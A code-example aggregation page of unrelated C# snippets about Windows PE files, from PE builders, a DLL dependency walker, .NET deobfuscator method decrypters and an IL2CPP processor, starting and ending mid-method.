            if (_dataBlob == null || _dataBlob.Length == 0)
            {
                return;
            }

            var relocBuilder = PE.Tasks.Get <BaseRelocationBuilder>();

            if (relocBuilder == null)
            {
                return;
            }

            var relocTable = relocBuilder.GetOrCreateTable();

            _blob = new BuildBlob();

            int pos = 0;

            if (PE.Is32Bits)
            {
                // Header
                PE.Fixups.Add(new WriteVAFixup(_blob, pos, _dataBlob, 0));
                relocTable.Add(_blob, pos, BaseRelocationType.HIGHLOW);
                _blob.Write(ref pos, (uint)0);                 // StartAddressOfRawData

                PE.Fixups.Add(new WriteVAFixup(_blob, pos, _dataBlob, _dataBlob.Length));
                relocTable.Add(_blob, pos, BaseRelocationType.HIGHLOW);
                _blob.Write(ref pos, (uint)0);                  // EndAddressOfRawData

                PE.Fixups.Add(new WriteVAFixup(_blob, pos, _dataBlob, sizeof(TLSHeader32) + 4));
                relocTable.Add(_blob, pos, BaseRelocationType.HIGHLOW);
                _blob.Write(ref pos, (uint)0);                 // AddressOfIndex

                PE.Fixups.Add(new WriteVAFixup(_blob, pos, _dataBlob, sizeof(TLSHeader32)));
                relocTable.Add(_blob, pos, BaseRelocationType.HIGHLOW);
                _blob.Write(ref pos, (uint)0);                // AddressOfCallBacks

                _blob.Write(ref pos, (int)0);                 // SizeOfZeroFill
                _blob.Write(ref pos, (uint)0);                // Characteristics

                // CallBacks
                _blob.Write(ref pos, (uint)0);

                // Index
                _blob.Write(ref pos, (uint)0xCCCCCCCC);                 // Does't really matter, the OS will fill it in
            }
            else
            {
                PE.Fixups.Add(new WriteVAFixup(_blob, pos, _dataBlob, 0));
                relocTable.Add(_blob, pos, BaseRelocationType.HIGHLOW);
                _blob.Write(ref pos, (ulong)0);                 // StartAddressOfRawData

                PE.Fixups.Add(new WriteVAFixup(_blob, pos, _dataBlob, _dataBlob.Length));
                relocTable.Add(_blob, pos, BaseRelocationType.HIGHLOW);
                _blob.Write(ref pos, (ulong)0);                  // EndAddressOfRawData

                PE.Fixups.Add(new WriteVAFixup(_blob, pos, _dataBlob, sizeof(TLSHeader64) + 8));
                relocTable.Add(_blob, pos, BaseRelocationType.HIGHLOW);
                _blob.Write(ref pos, (ulong)0);                 // AddressOfIndex

                PE.Fixups.Add(new WriteVAFixup(_blob, pos, _dataBlob, sizeof(TLSHeader64)));
                relocTable.Add(_blob, pos, BaseRelocationType.HIGHLOW);
                _blob.Write(ref pos, (ulong)0);               // AddressOfCallBacks

                _blob.Write(ref pos, (int)0);                 // SizeOfZeroFill
                _blob.Write(ref pos, (uint)0);                // Characteristics

                // CallBacks
                _blob.Write(ref pos, (ulong)0);

                // Index
                _blob.Write(ref pos, (ulong)0xCCCCCCCC);                 // Does't really matter, the OS will fill it in
            }

            // Set data directories
            PE.Fixups.Add(new SetDataDirectoryFixup(_blob));

            // Add _blobs
            BuildSection section = PE.GetSection(_sectionName);

            section.Blobs.Add(_blob, _blobPriority);
        }
Example #25
0
        public static void DumpApiSets(PE Application, Action <IPrettyPrintable> Printer, int recursion_depth = 0)
        {
            NtApiSet ApiSet = new NtApiSet(Application);

            Printer(ApiSet);
        }
        private void ProcessAppInitDlls(Dictionary <string, ImportContext> NewTreeContexts, PE AnalyzedPe, ImportContext ImportModule)
        {
            List <PeImportDll> PeImports = AnalyzedPe.GetImports();

            // only user32 triggers appinit dlls
            string User32Filepath = Path.Combine(FindPe.GetSystemPath(this.Pe), "user32.dll");

            if (ImportModule.PeFilePath != User32Filepath)
            {
                return;
            }

            string AppInitRegistryKey =
                (this.Pe.IsArm32Dll()) ?
                "SOFTWARE\\WowAA32Node\\Microsoft\\Windows NT\\CurrentVersion\\Windows" :
                (this.Pe.IsWow64Dll()) ?
                "SOFTWARE\\Wow6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Windows" :
                "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Windows";

            // Opening registry values
            RegistryKey localKey = RegistryKey.OpenBaseKey(Microsoft.Win32.RegistryHive.LocalMachine, RegistryView.Registry64);

            localKey = localKey.OpenSubKey(AppInitRegistryKey);
            int    LoadAppInitDlls = (int)localKey.GetValue("LoadAppInit_DLLs", 0);
            string AppInitDlls     = (string)localKey.GetValue("AppInit_DLLs", "");

            if (LoadAppInitDlls == 0 || String.IsNullOrEmpty(AppInitDlls))
            {
                return;
            }

            // Extremely crude parser. TODO : Add support for quotes wrapped paths with spaces
            foreach (var AppInitDll in AppInitDlls.Split(' '))
            {
                Debug.WriteLine("AppInit loading " + AppInitDll);

                // Do not process twice the same imported module
                if (null != PeImports.Find(module => module.Name == AppInitDll))
                {
                    continue;
                }

                if (NewTreeContexts.ContainsKey(AppInitDll))
                {
                    continue;
                }

                ImportContext AppInitImportModule = new ImportContext();
                AppInitImportModule.PeFilePath       = null;
                AppInitImportModule.PeProperties     = null;
                AppInitImportModule.ModuleName       = AppInitDll;
                AppInitImportModule.ApiSetModuleName = null;
                AppInitImportModule.Flags            = 0;
                AppInitImportModule.ModuleLocation   = ModuleSearchStrategy.AppInitDLL;



                Tuple <ModuleSearchStrategy, PE> ResolvedAppInitModule = BinaryCache.ResolveModule(
                    this.Pe,
                    AppInitDll,
                    this.SxsEntriesCache,
                    this.CustomSearchFolders,
                    this.WorkingDirectory
                    );
                if (ResolvedAppInitModule.Item1 != ModuleSearchStrategy.NOT_FOUND)
                {
                    AppInitImportModule.PeProperties = ResolvedAppInitModule.Item2;
                    AppInitImportModule.PeFilePath   = ResolvedAppInitModule.Item2.Filepath;
                }
                else
                {
                    AppInitImportModule.Flags |= ModuleFlag.NotFound;
                }

                NewTreeContexts.Add(AppInitDll, AppInitImportModule);
            }
        }
Example #27
0
        public static void DumpManifest(PE Application, Action <IPrettyPrintable> Printer, int recursion_depth = 0)
        {
            PEManifest Manifest = new PEManifest(Application);

            Printer(Manifest);
        }
        private void ConstructDependencyTree(ModuleTreeViewItem RootNode, PE CurrentPE, int RecursionLevel = 0)
        {
            // "Closured" variables (it 's a scope hack really).
            Dictionary <string, ImportContext> NewTreeContexts = new Dictionary <string, ImportContext>();

            BackgroundWorker bw = new BackgroundWorker();

            bw.WorkerReportsProgress = true; // useless here for now


            bw.DoWork += (sender, e) => {
                ProcessPe(NewTreeContexts, CurrentPE);
            };


            bw.RunWorkerCompleted += (sender, e) =>
            {
                TreeBuildingBehaviour.DependencyTreeBehaviour SettingTreeBehaviour = Dependencies.TreeBuildingBehaviour.GetGlobalBehaviour();
                List <ModuleTreeViewItem> PeWithDummyEntries  = new List <ModuleTreeViewItem>();
                List <BacklogImport>      PEProcessingBacklog = new List <BacklogImport>();

                // Important !
                //
                // This handler is executed in the STA (Single Thread Application)
                // which is authorized to manipulate UI elements. The BackgroundWorker is not.
                //

                foreach (ImportContext NewTreeContext in NewTreeContexts.Values)
                {
                    ModuleTreeViewItem    childTreeNode        = new ModuleTreeViewItem(RootNode);
                    DependencyNodeContext childTreeNodeContext = new DependencyNodeContext();
                    childTreeNodeContext.IsDummy = false;

                    string         ModuleName     = NewTreeContext.ModuleName;
                    string         ModuleFilePath = NewTreeContext.PeFilePath;
                    ModuleCacheKey ModuleKey      = new ModuleCacheKey(ModuleName, ModuleFilePath);

                    // Newly seen modules
                    if (!this.ProcessedModulesCache.ContainsKey(ModuleKey))
                    {
                        // Missing module "found"
                        if ((NewTreeContext.PeFilePath == null) || !NativeFile.Exists(NewTreeContext.PeFilePath))
                        {
                            if (NewTreeContext.IsApiSet)
                            {
                                this.ProcessedModulesCache[ModuleKey] = new ApiSetNotFoundModuleInfo(ModuleName, NewTreeContext.ApiSetModuleName);
                            }
                            else
                            {
                                this.ProcessedModulesCache[ModuleKey] = new NotFoundModuleInfo(ModuleName);
                            }
                        }
                        else
                        {
                            if (NewTreeContext.IsApiSet)
                            {
                                var ApiSetContractModule = new DisplayModuleInfo(NewTreeContext.ApiSetModuleName, NewTreeContext.PeProperties, NewTreeContext.ModuleLocation, NewTreeContext.Flags);
                                var NewModule            = new ApiSetModuleInfo(NewTreeContext.ModuleName, ref ApiSetContractModule);

                                this.ProcessedModulesCache[ModuleKey] = NewModule;

                                if (SettingTreeBehaviour == TreeBuildingBehaviour.DependencyTreeBehaviour.Recursive)
                                {
                                    PEProcessingBacklog.Add(new BacklogImport(childTreeNode, ApiSetContractModule.ModuleName));
                                }
                            }
                            else
                            {
                                var NewModule = new DisplayModuleInfo(NewTreeContext.ModuleName, NewTreeContext.PeProperties, NewTreeContext.ModuleLocation, NewTreeContext.Flags);
                                this.ProcessedModulesCache[ModuleKey] = NewModule;

                                switch (SettingTreeBehaviour)
                                {
                                case TreeBuildingBehaviour.DependencyTreeBehaviour.RecursiveOnlyOnDirectImports:
                                    if ((NewTreeContext.Flags & ModuleFlag.DelayLoad) == 0)
                                    {
                                        PEProcessingBacklog.Add(new BacklogImport(childTreeNode, NewModule.ModuleName));
                                    }
                                    break;

                                case TreeBuildingBehaviour.DependencyTreeBehaviour.Recursive:
                                    PEProcessingBacklog.Add(new BacklogImport(childTreeNode, NewModule.ModuleName));
                                    break;
                                }
                            }
                        }

                        // add it to the module list
                        this.ModulesList.AddModule(this.ProcessedModulesCache[ModuleKey]);
                    }

                    // Since we uniquely process PE, for thoses who have already been "seen",
                    // we set a dummy entry in order to set the "[+]" icon next to the node.
                    // The dll dependencies are actually resolved on user double-click action
                    // We can't do the resolution in the same time as the tree construction since
                    // it's asynchronous (we would have to wait for all the background to finish and
                    // use another Async worker to resolve).

                    if ((NewTreeContext.PeProperties != null) && (NewTreeContext.PeProperties.GetImports().Count > 0))
                    {
                        ModuleTreeViewItem    DummyEntry   = new ModuleTreeViewItem();
                        DependencyNodeContext DummyContext = new DependencyNodeContext()
                        {
                            ModuleInfo = new WeakReference(new NotFoundModuleInfo("Dummy")),
                            IsDummy    = true
                        };

                        DummyEntry.DataContext = DummyContext;
                        DummyEntry.Header      = "@Dummy : if you see this header, it's a bug.";
                        DummyEntry.IsExpanded  = false;

                        childTreeNode.Items.Add(DummyEntry);
                        childTreeNode.Expanded += ResolveDummyEntries;
                    }

                    // Add to tree view
                    childTreeNodeContext.ModuleInfo = new WeakReference(this.ProcessedModulesCache[ModuleKey]);
                    childTreeNode.DataContext       = childTreeNodeContext;
                    childTreeNode.Header            = childTreeNode.GetTreeNodeHeaderName(Dependencies.Properties.Settings.Default.FullPath);
                    RootNode.Items.Add(childTreeNode);
                }


                // Process next batch of dll imports
                if (SettingTreeBehaviour != TreeBuildingBehaviour.DependencyTreeBehaviour.ChildOnly)
                {
                    foreach (var ImportNode in PEProcessingBacklog)
                    {
                        ConstructDependencyTree(ImportNode.Item1, ImportNode.Item2, RecursionLevel + 1); // warning : recursive call
                    }
                }
            };

            bw.RunWorkerAsync();
        }
Example #29
0
        public static void DumpSxsEntries(PE Application, Action <IPrettyPrintable> Printer, int recursion_depth = 0)
        {
            SxsDependencies SxsDeps = new SxsDependencies(Application);

            Printer(SxsDeps);
        }
Example #30
0
        public bool decrypt(PE.PeImage peImage, ref Dictionary<uint, DumpedMethod> dumpedMethods)
        {
            this.peImage = peImage;

            uint offset = peImage.rvaToOffset(peImage.Cor20Header.metadataDirectory.virtualAddress + peImage.Cor20Header.metadataDirectory.size);
            if (!readCodeHeader(offset))
                return false;

            var metadataTables = peImage.Cor20Header.createMetadataTables();
            var methodDefTable = metadataTables.getMetadataType(PE.MetadataIndex.iMethodDef);
            if (methodDefTable.totalSize != codeHeader.methodDefElemSize)
                return false;

            var methodInfos = getMethodInfos(offset + 0x30 + codeHeader.totalCodeSize);

            offset = methodDefTable.fileOffset - methodDefTable.totalSize;
            foreach (var methodInfo in methodInfos) {
                offset += methodDefTable.totalSize;
                if (methodInfo.flags == 0 || methodInfo.localVarSigTok == 0)
                    continue;
                uint rva = peImage.offsetReadUInt32(offset);
                peImage.writeUint16(rva, (ushort)methodInfo.flags);
                peImage.writeUint32(rva + 8, methodInfo.localVarSigTok);
            }

            dumpedMethods = new Dictionary<uint, DumpedMethod>();
            offset = methodDefTable.fileOffset;
            for (int i = 0; i < methodInfos.Count; i++, offset += methodDefTable.totalSize) {
                var methodInfo = methodInfos[i];
                if (methodInfo.codeOffs == 0)
                    continue;

                var dm = new DumpedMethod();
                dm.token = 0x06000001 + (uint)i;

                uint rva = peImage.offsetReadUInt32(offset);
                dm.mdImplFlags = peImage.offsetReadUInt16(offset + (uint)methodDefTable.fields[1].offset);
                dm.mdFlags = peImage.offsetReadUInt16(offset + (uint)methodDefTable.fields[2].offset);
                dm.mdName = peImage.offsetRead(offset + (uint)methodDefTable.fields[3].offset, methodDefTable.fields[3].size);
                dm.mdSignature = peImage.offsetRead(offset + (uint)methodDefTable.fields[4].offset, methodDefTable.fields[4].size);
                dm.mdParamList = peImage.offsetRead(offset + (uint)methodDefTable.fields[5].offset, methodDefTable.fields[5].size);

                dm.code = decrypter.decrypt(methodInfo);

                if ((peImage.readByte(rva) & 3) == 2) {
                    dm.mhFlags = 2;
                    dm.mhMaxStack = 8;
                    dm.mhCodeSize = (uint)dm.code.Length;
                    dm.mhLocalVarSigTok = 0;
                }
                else {
                    dm.mhFlags = peImage.readUInt16(rva);
                    dm.mhMaxStack = peImage.readUInt16(rva + 2);
                    dm.mhCodeSize = (uint)dm.code.Length;
                    dm.mhLocalVarSigTok = peImage.readUInt32(rva + 8);
                }

                dumpedMethods[dm.token] = dm;
            }

            return true;
        }
Example #31
0
        public static void DumpImports(PE Pe, Action <IPrettyPrintable> Printer, int recursion_depth = 0)
        {
            PEImports Imports = new PEImports(Pe);

            Printer(Imports);
        }
Example #32
0
 public NormalDecrypter(PE.PeImage peImage, CodeHeader codeHeader)
     : base(peImage, codeHeader)
 {
 }
Example #33
0
 public Instructions InstructionsFromMethodBody(TypeRef returnType, PE.MethodBody methodBody)
 {
     var ctxt = new TranslationContext(returnType, methodBody.Instructions, methodBody.ExceptionHandlingClauses);
     return InstructionsFromContext(ctxt);
 }
Example #34
0
        static void Main(string[] args)
        {
            String FileName    = null;
            var    ProgramArgs = ParseArgs(args);
            Action <IPrettyPrintable> ObjectPrinter = PrettyPrinter;

            // always the first call to make
            Phlib.InitializePhLib();

            if (ProgramArgs.ContainsKey("file"))
            {
                FileName = ProgramArgs["file"];
            }

            if (ProgramArgs.ContainsKey("-json"))
            {
                ObjectPrinter = JsonPrinter;
            }


            // no need to load PE for those commands
            if ((args.Length == 0) || ProgramArgs.ContainsKey("-h") || ProgramArgs.ContainsKey("-help"))
            {
                DumpUsage();
                return;
            }

            if (ProgramArgs.ContainsKey("-knowndll"))
            {
                DumpKnownDlls(ObjectPrinter);
                return;
            }

            if (ProgramArgs.ContainsKey("-apisets"))
            {
                DumpApiSets(ObjectPrinter);
                return;
            }

            //Console.WriteLine("[-] Loading file {0:s} ", FileName);
            PE Pe = new PE(FileName);

            if (!Pe.Load())
            {
                Console.Error.WriteLine("[x] Could not load file {0:s} as a PE", FileName);
                return;
            }


            if (ProgramArgs.ContainsKey("-manifest"))
            {
                DumpManifest(Pe, ObjectPrinter);
            }
            else if (ProgramArgs.ContainsKey("-sxsentries"))
            {
                DumpSxsEntries(Pe, ObjectPrinter);
            }
            else if (ProgramArgs.ContainsKey("-imports"))
            {
                DumpImports(Pe, ObjectPrinter);
            }
            else if (ProgramArgs.ContainsKey("-exports"))
            {
                DumpExports(Pe, ObjectPrinter);
            }
            else if (ProgramArgs.ContainsKey("-chain"))
            {
                DumpDependencyChain(Pe, ObjectPrinter);
            }
            else if (ProgramArgs.ContainsKey("-modules"))
            {
                DumpModules(Pe, ObjectPrinter);
            }
        }
Example #35
0
 static void patchDwords(PE.PeImage peImage, BinaryReader reader, int count)
 {
     for (int i = 0; i < count; i++) {
         uint rva = reader.ReadUInt32();
         uint data = reader.ReadUInt32();
         peImage.dotNetSafeWrite(rva, BitConverter.GetBytes(data));
     }
 }
Example #36
0
 public override bool Within(PE.ExceptionHandlingClause ehc)
 {
     return Clauses.Contains(ehc) || base.Within(ehc);
 }
Example #37
0
        static void Main(string[] args)
        {
            Phlib.InitializePhLib();
            var ProgramArgs = ParseArgs(args);

            String FileName = null;

            if (ProgramArgs.ContainsKey("file"))
            {
                FileName = ProgramArgs["file"];
            }

            if (ProgramArgs.ContainsKey("-verbose"))
            {
                VerboseOutput = true;
            }

            // no need to load PE for those commands
            if ((args.Length == 0) || ProgramArgs.ContainsKey("-h") || ProgramArgs.ContainsKey("-help"))
            {
                DumpUsage();
                return;
            }

            if (ProgramArgs.ContainsKey("-knowndll"))
            {
                DumpKnownDlls();
                return;
            }

            if (ProgramArgs.ContainsKey("-apisets"))
            {
                DumpApiSets();
                return;
            }

            VerboseWriteLine("[-] Loading file {0:s} ", FileName);
            PE Pe = new PE(FileName);

            if (!Pe.Load())
            {
                Console.Error.WriteLine("[x] Could not load file {0:s} as a PE", FileName);
                return;
            }


            if (ProgramArgs.ContainsKey("-manifest"))
            {
                DumpManifest(Pe);
            }
            if (ProgramArgs.ContainsKey("-sxsentries"))
            {
                DumpSxsEntries(Pe);
            }
            if (ProgramArgs.ContainsKey("-imports"))
            {
                DumpImports(Pe);
            }
            if (ProgramArgs.ContainsKey("-exports"))
            {
                DumpExports(Pe);
            }
        }
Example #38
0
 public NtApiSet(PE ApiSetSchemaDll)
 {
     Schema = ApiSetSchemaDll.GetApiSetSchema();
 }
Example #39
0
        public static List <(TypeDefinition type, List <CppMethodData> methods)> ProcessAssemblyTypes(Il2CppMetadata metadata, PE theDll, Il2CppImageDefinition imageDef)
        {
            var firstTypeDefinition = SharedState.TypeDefsByIndex[imageDef.firstTypeIndex];
            var currentAssembly     = firstTypeDefinition.Module.Assembly;

            InjectCustomAttributes(currentAssembly);

            //Ensure type directory exists
            if (!Program.CommandLineOptions.SkipMetadataTextFiles && !Program.CommandLineOptions.SkipAnalysis)
            {
                Directory.CreateDirectory(Path.Combine(Path.GetFullPath("cpp2il_out"), "types", currentAssembly.Name.Name));
            }

            var lastTypeIndex = imageDef.firstTypeIndex + imageDef.typeCount;
            var methods       = new List <(TypeDefinition type, List <CppMethodData> methods)>();

            for (var index = imageDef.firstTypeIndex; index < lastTypeIndex; index++)
            {
                var typeDef        = metadata.typeDefs[index];
                var typeDefinition = SharedState.TypeDefsByIndex[index];
                SharedState.MonoToCppTypeDefs[typeDefinition] = typeDef;

                methods.Add((type: typeDefinition, methods: ProcessTypeContents(metadata, theDll, typeDef, typeDefinition, imageDef)));
            }

            return(methods);
        }
Example #40
0
        public bool decrypt(PE.PeImage peImage, ISimpleDeobfuscator simpleDeobfuscator, ref Dictionary<uint, DumpedMethod> dumpedMethods)
        {
            if (encryptedResource.Method == null)
                return false;

            encryptedResource.init(simpleDeobfuscator);
            if (!encryptedResource.FoundResource)
                return false;
            var methodsData = encryptedResource.decrypt();

            bool hooksJitter = findDnrCompileMethod(encryptedResource.Method.DeclaringType) != null;

            long xorKey = getXorKey();
            if (xorKey != 0) {
                // DNR 4.3, 4.4
                var stream = new MemoryStream(methodsData);
                var reader = new BinaryReader(stream);
                var writer = new BinaryWriter(stream);
                int count = methodsData.Length / 8;
                for (int i = 0; i < count; i++) {
                    long val = reader.ReadInt64();
                    val ^= xorKey;
                    stream.Position -= 8;
                    writer.Write(val);
                }
            }

            var methodsDataReader = new BinaryReader(new MemoryStream(methodsData));
            int patchCount = methodsDataReader.ReadInt32();
            int mode = methodsDataReader.ReadInt32();

            int tmp = methodsDataReader.ReadInt32();
            methodsDataReader.BaseStream.Position -= 4;
            if ((tmp & 0xFF000000) == 0x06000000) {
                // It's method token + rva. DNR 3.7.0.3 (and earlier?) - 3.9.0.1
                methodsDataReader.BaseStream.Position += 8L * patchCount;
                patchCount = methodsDataReader.ReadInt32();
                mode = methodsDataReader.ReadInt32();

                patchDwords(peImage, methodsDataReader, patchCount);
                while (methodsDataReader.BaseStream.Position < methodsData.Length - 1) {
                    uint token = methodsDataReader.ReadUInt32();
                    int numDwords = methodsDataReader.ReadInt32();
                    patchDwords(peImage, methodsDataReader, numDwords / 2);
                }
            }
            else if (!hooksJitter || mode == 1) {
                // DNR 3.9.8.0, 4.0, 4.1, 4.2, 4.3, 4.4
                patchDwords(peImage, methodsDataReader, patchCount);
                while (methodsDataReader.BaseStream.Position < methodsData.Length - 1) {
                    uint rva = methodsDataReader.ReadUInt32();
                    uint token = methodsDataReader.ReadUInt32();	// token, unknown, or index
                    int size = methodsDataReader.ReadInt32();
                    if (size > 0)
                        peImage.dotNetSafeWrite(rva, methodsDataReader.ReadBytes(size));
                }
            }
            else {
                // DNR 4.0 - 4.4 (jitter is hooked)

                var metadataTables = peImage.Cor20Header.createMetadataTables();
                var methodDef = metadataTables.getMetadataType(PE.MetadataIndex.iMethodDef);
                var rvaToIndex = new Dictionary<uint, int>((int)methodDef.rows);
                uint offset = methodDef.fileOffset;
                for (int i = 0; i < methodDef.rows; i++) {
                    uint rva = peImage.offsetReadUInt32(offset);
                    offset += methodDef.totalSize;
                    if (rva == 0)
                        continue;

                    if ((peImage.readByte(rva) & 3) == 2)
                        rva++;
                    else
                        rva += (uint)(4 * (peImage.readByte(rva + 1) >> 4));
                    rvaToIndex[rva] = i;
                }

                patchDwords(peImage, methodsDataReader, patchCount);
                int count = methodsDataReader.ReadInt32();
                dumpedMethods = new Dictionary<uint, DumpedMethod>();
                bool foundNativeCode = false;
                while (methodsDataReader.BaseStream.Position < methodsData.Length - 1) {
                    uint rva = methodsDataReader.ReadUInt32();
                    uint index = methodsDataReader.ReadUInt32();
                    bool isNativeCode = index >= 0x70000000;
                    int size = methodsDataReader.ReadInt32();
                    var methodData = methodsDataReader.ReadBytes(size);

                    int methodIndex;
                    if (!rvaToIndex.TryGetValue(rva, out methodIndex)) {
                        Log.w("Could not find method having code RVA {0:X8}", rva);
                        continue;
                    }

                    if (isNativeCode) {
                        if (!foundNativeCode) {
                            foundNativeCode = true;
                            Log.w("Found native code. Assembly won't run.");
                        }
                        //TODO: Convert to CIL code
                        Log.v("Found native code. Ignoring it for now... Assembly won't run. token: {0:X8}", 0x06000001 + methodIndex);

                        // Convert return true / false methods. The others are converted to
                        // throw 0xDEADCODE.
                        if (isCode(nativeLdci4, methodData)) {
                            uint val = BitConverter.ToUInt32(methodData, 4);
                            methodData = new byte[] { 0x20, 0, 0, 0, 0, 0x2A };
                            methodData[1] = (byte)val;
                            methodData[2] = (byte)(val >> 8);
                            methodData[3] = (byte)(val >> 16);
                            methodData[4] = (byte)(val >> 24);
                        }
                        else if (isCode(nativeLdci4_0, methodData)) {
                            methodData = new byte[] { 0x16, 0x2A };
                        }
                        else
                            methodData = new byte[] { 0x20, 0xDE, 0xC0, 0xAD, 0xDE, 0x7A };
                    }

                    var dm = new DumpedMethod();
                    dm.token = (uint)(0x06000001 + methodIndex);
                    dm.code = methodData;

                    offset = methodDef.fileOffset + (uint)(methodIndex * methodDef.totalSize);
                    rva = peImage.offsetReadUInt32(offset);
                    dm.mdImplFlags = peImage.offsetReadUInt16(offset + (uint)methodDef.fields[1].offset);
                    dm.mdFlags = peImage.offsetReadUInt16(offset + (uint)methodDef.fields[2].offset);
                    dm.mdName = peImage.offsetRead(offset + (uint)methodDef.fields[3].offset, methodDef.fields[3].size);
                    dm.mdSignature = peImage.offsetRead(offset + (uint)methodDef.fields[4].offset, methodDef.fields[4].size);
                    dm.mdParamList = peImage.offsetRead(offset + (uint)methodDef.fields[5].offset, methodDef.fields[5].size);

                    if ((peImage.readByte(rva) & 3) == 2) {
                        dm.mhFlags = 2;
                        dm.mhMaxStack = 8;
                        dm.mhCodeSize = (uint)dm.code.Length;
                        dm.mhLocalVarSigTok = 0;
                    }
                    else {
                        dm.mhFlags = peImage.readUInt16(rva);
                        dm.mhMaxStack = peImage.readUInt16(rva + 2);
                        dm.mhCodeSize = (uint)dm.code.Length;
                        dm.mhLocalVarSigTok = peImage.readUInt32(rva + 8);
                    }

                    dumpedMethods[dm.token] = dm;
                }
            }

            return true;
        }
        public override void Build()
        {
            if (_table == null || _table.Count == 0)
            {
                return;
            }

            _blob    = new BuildBlob();
            _iatBlob = new BuildBlob();

            // Calculate
            int lookupTableSize   = 0;
            int hintNameTableSize = 0;
            int lookupEntrySize   = PE.Is32Bits ? 4 : 8;

            for (int i = 0; i < _table.Count; i++)
            {
                var module = _table[i];

                for (int j = 0; j < module.Count; j++)
                {
                    var entry = module[j];

                    lookupTableSize += lookupEntrySize;

                    if (!string.IsNullOrEmpty(entry.Name))
                    {
                        hintNameTableSize += 2;                         // hint
                        hintNameTableSize += entry.Name.Length + 1;
                    }
                }

                lookupTableSize += lookupEntrySize;                 // null
            }

            int iatPos           = 0;
            int lookupTablePos   = (_table.Count + 1) * 20;           // header + null
            int hintNameTablePos = lookupTablePos + lookupTableSize;
            int dllNamePos       = hintNameTablePos + hintNameTableSize;

            // Write
            int headerPos = 0;

            for (int i = 0; i < _table.Count; i++)
            {
                var module = _table[i];

                // Header
                PE.Fixups.Add(new WriteRVAFixup(_blob, headerPos, lookupTablePos));
                _blob.Write(ref headerPos, (uint)0);                    // ImportLookupTableRVA

                _blob.Write(ref headerPos, (uint)0);                    // TimeDateStamp

                _blob.Write(ref headerPos, (int)module.ForwarderChain); // ForwarderChain

                PE.Fixups.Add(new WriteRVAFixup(_blob, headerPos, dllNamePos));
                _blob.Write(ref headerPos, (uint)0);                 // Name

                PE.Fixups.Add(new WriteRVAFixup(_blob, _iatBlob, headerPos, iatPos));
                _blob.Write(ref headerPos, (uint)0);                 // ImportAddressTableRVA

                // DllName
                string dllName = (module.DllName ?? "") + '\0';
                _blob.Write(ref dllNamePos, dllName, Encoding.ASCII);

                // ImportLookupTable / ImportAddressTable
                for (int j = 0; j < module.Count; j++)
                {
                    var entry = module[j];

                    if (PE.Is32Bits)
                    {
                        if (!string.IsNullOrEmpty(entry.Name))
                        {
                            // Import by name.
                            PE.Fixups.Add(
                                new WriteHintNameRVAFixup(
                                    _blob, _iatBlob, lookupTablePos, iatPos, hintNameTablePos));
                            _blob.Write(ref lookupTablePos, (uint)0);
                            _iatBlob.Write(ref iatPos, (uint)0);

                            // Hint/Name
                            _blob.Write(ref hintNameTablePos, (ushort)entry.Ordinal);
                            string name = entry.Name + '\0';
                            _blob.Write(ref hintNameTablePos, name, Encoding.ASCII);
                        }
                        else
                        {
                            // Import by ordinal.
                            uint ordinal = (uint)entry.Ordinal | 0x80000000;
                            _blob.Write(ref lookupTablePos, (uint)ordinal);
                            _iatBlob.Write(ref iatPos, (uint)ordinal);
                        }
                    }
                    else
                    {
                        if (!string.IsNullOrEmpty(entry.Name))
                        {
                            // Import by name.
                            PE.Fixups.Add(
                                new WriteHintNameRVAFixup(
                                    _blob, _iatBlob, lookupTablePos, iatPos, hintNameTablePos));
                            _blob.Write(ref lookupTablePos, (ulong)0);
                            _iatBlob.Write(ref iatPos, (ulong)0);

                            // Hint/Name
                            _blob.Write(ref hintNameTablePos, (ushort)entry.Ordinal);
                            string name = entry.Name + '\0';
                            _blob.Write(ref hintNameTablePos, name, Encoding.ASCII);
                        }
                        else
                        {
                            // Import by ordinal.
                            ulong ordinal = (uint)entry.Ordinal | 0x8000000000000000;
                            _blob.Write(ref lookupTablePos, (ulong)ordinal);
                            _iatBlob.Write(ref iatPos, (ulong)ordinal);
                        }
                    }
                }

                if (PE.Is32Bits)
                {
                    // Null ImportLookupTable / ImportAddressTable
                    _blob.Write(ref lookupTablePos, 0, 4);
                    _iatBlob.Write(ref iatPos, 0, 4);
                }
                else
                {
                    // Null ImportLookupTable / ImportAddressTable
                    _blob.Write(ref lookupTablePos, 0, 8);
                    _iatBlob.Write(ref iatPos, 0, 8);
                }
            }

            // Null header
            _blob.Write(ref headerPos, 0, 20);

            // Set data directories
            PE.Fixups.Add(
                new PEBuilder.SetDataDirectoryFromBlobRVAFixup(
                    DataDirectories.ImportTable, _blob));

            PE.Fixups.Add(
                new PEBuilder.SetDataDirectoryFromBlobRVAFixup(
                    DataDirectories.IAT, _iatBlob));

            // Add _blobs
            BuildSection section = PE.GetSection(_sectionName);

            section.Blobs.Add(_blob, _blobPriority);

            BuildSection iatSection = PE.GetSection(_iatSectionName);

            iatSection.Blobs.Add(_iatBlob, _iatBlobPriority);
        }
Example #42
0
 public MethodDef
     (IImSeq<Annotation> annotations,
      ISeq<CustomAttribute> customAttributes,
      string name,
      bool isStatic,
      IImSeq<ParameterTypeDef> typeParameters,
      IImSeq<ParameterOrLocalOrResult> valueParameters,
      ParameterOrLocalOrResult result,
      MethodStyle methodStyle,
      bool hasNewSlot,
      MethodCodeFlavor codeFlavor,
      bool isSyncronized,
      bool noInlining,
      bool isInitLocals,
      IImSeq<ParameterOrLocalOrResult> locals,
      PE.MethodBody methodBody)
     : base(annotations, customAttributes, name, isStatic)
 {
     TypeParameters = typeParameters ?? Constants.EmptyParameterTypeDefs;
     ValueParameters = valueParameters ?? Constants.EmptyParameterOrLocals;
     Result = result;
     this.methodStyle = methodStyle;
     HasNewSlot = hasNewSlot;
     CodeFlavor = codeFlavor;
     var noBody = methodStyle == MethodStyle.Abstract || CodeFlavor != MethodCodeFlavor.Managed;
     IsSyncronized = isSyncronized;
     NoInlining = noInlining;
     IsInitLocals = isInitLocals;
     if (noBody && locals != null && locals.Count > 0)
         throw new InvalidOperationException("unexpected locals in method");
     Locals = locals ?? Constants.EmptyParameterOrLocals;
     if (noBody && methodBody != null)
         throw new InvalidOperationException("unexpected instructions in extern method definition");
     if (!noBody && methodBody == null)
         throw new InvalidOperationException("missing instructions in method definition");
     MethodBody = methodBody;
 }
Example #43
0
        public override void Build()
        {
            if (_info == null)
            {
                return;
            }

            var _blob = new BuildBlob();

            int pos = 0;

            if (PE.Is32Bits)
            {
                _blob.Write(ref pos, (int)_info.Characteristics);
